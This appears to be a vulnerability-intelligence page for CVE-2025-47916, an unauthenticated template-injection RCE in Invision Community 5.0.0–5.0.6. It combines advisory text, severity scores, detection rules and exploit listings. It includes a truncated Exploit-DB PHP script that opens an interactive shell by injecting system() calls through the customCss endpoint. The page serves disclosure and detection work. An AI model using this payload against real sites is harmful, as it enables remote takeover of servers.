CVE-2025-47916
published 2025-05-16CVE-2025-47916: Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor…
PriorityP195critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
79.17%
99.6th percentile
Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (file: /applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method; hence it is evaluated by the template engine. Accordingly, this can be exploited by unauthenticated attackers to inject and execute arbitrary PHP code by providing crafted template strings.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| invisioncommunity | invision_power_board | >= 5.0.0 < 5.0.7 | 5.0.7 |
| invisioncommunity | invisioncommunity | >= 5.0.0 < 5.0.7 | 5.0.7 |
Detection & IOCsextracted from sources · hover to see the quote
- →Look for unauthenticated POST requests to the themeeditor controller with the 'do=customCss' parameter and a 'content' field containing template injection syntax such as {expression="..."} ↗
- →Detect POST requests to any endpoint with query parameters app=core&module=system&controller=themeeditor&do=customCss from unauthenticated sessions (no session cookie or fresh session) ↗
- →Flag HTTP request bodies containing URL-encoded or raw {expression=...} template strings in the 'content' POST parameter targeting Invision Community installations ↗
- →Identify Invision Community hosts via the Set-Cookie header value prefix 'ips4_' for targeted scanning or alerting ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-96q3-fjrx-h9hh: Invision Community 5
ghsa_unreviewed·2025-05-16
CVE-2025-47916 [CRITICAL] CWE-1336 GHSA-96q3-fjrx-h9hh: Invision Community 5
Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (file: /applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method; hence it is evaluated by the template engine. Accordingly, this can be exploited by unauthenticated attackers to inject and execute arbitrary PHP code by providing crafted template strings.
VulnCheck
invisioncommunity invisioncommunity Improper Neutralization of Special Elements Used in a Template Engine
vulncheck·2025·CVSS 10.0
CVE-2025-47916 [CRITICAL] invisioncommunity invisioncommunity Improper Neutralization of Special Elements Used in a Template Engine
invisioncommunity invisioncommunity Improper Neutralization of Special Elements Used in a Template Engine
Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (file: /applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method; hence it is evaluated by the template engine. Accordingly, this can be exploited by unauthenticated attackers to inject and execute arbitrary PHP code by providing crafted template strings.
Affected: invisioncommunity invisioncommunity
Required Action: Apply remediations or mitiga
No detection rules found.
Exploit-DB
Invision Community 5.0.6 - Remote Code Execution (RCE)
exploitdb·2025-05-18
CVE-2025-47916 Invision Community 5.0.6 - Remote Code Execution (RCE)
Invision Community 5.0.6 - Remote Code Execution (RCE)
---
\n";
print "\nExample....: php $argv[0] http://localhost/invision/";
print "\nExample....: php $argv[0] https://invisioncommunity.com/\n\n";
die();
}
$ch = curl_init();
$params = ["app" => "core", "module" => "system", "controller" => "themeeditor", "do" => "customCss"];
curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
while (1)
{
print "\ninvision-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$params["content"] = sprintf("{expression=\"die('________'.system(base64_decode('%s')))\"}", base64_encode($cmd));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
preg_m
Nuclei
Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
nuclei·CVSS 9.8
CVE-2025-47916 [CRITICAL] Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.
Template:
id: CVE-2025-47916
info:
name: Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
author: EgiX,iamnoooob,pdresearch
severity: crit
Metasploit
Invision Community 5.0.6 customCss RCE
metasploit
Invision Community 5.0.6 customCss RCE
Invision Community 5.0.6 customCss RCE
Invision Community up to and including version 5.0.6 contains a remote code execution vulnerability in the theme editor's customCss endpoint. By crafting a specially formatted `content` parameter with a `{expression="..."}` construct, arbitrary PHP can be evaluated. This module leverages that flaw to execute payloads or system commands as the webserver user.
2025-05-16
Published
Exploited in the wild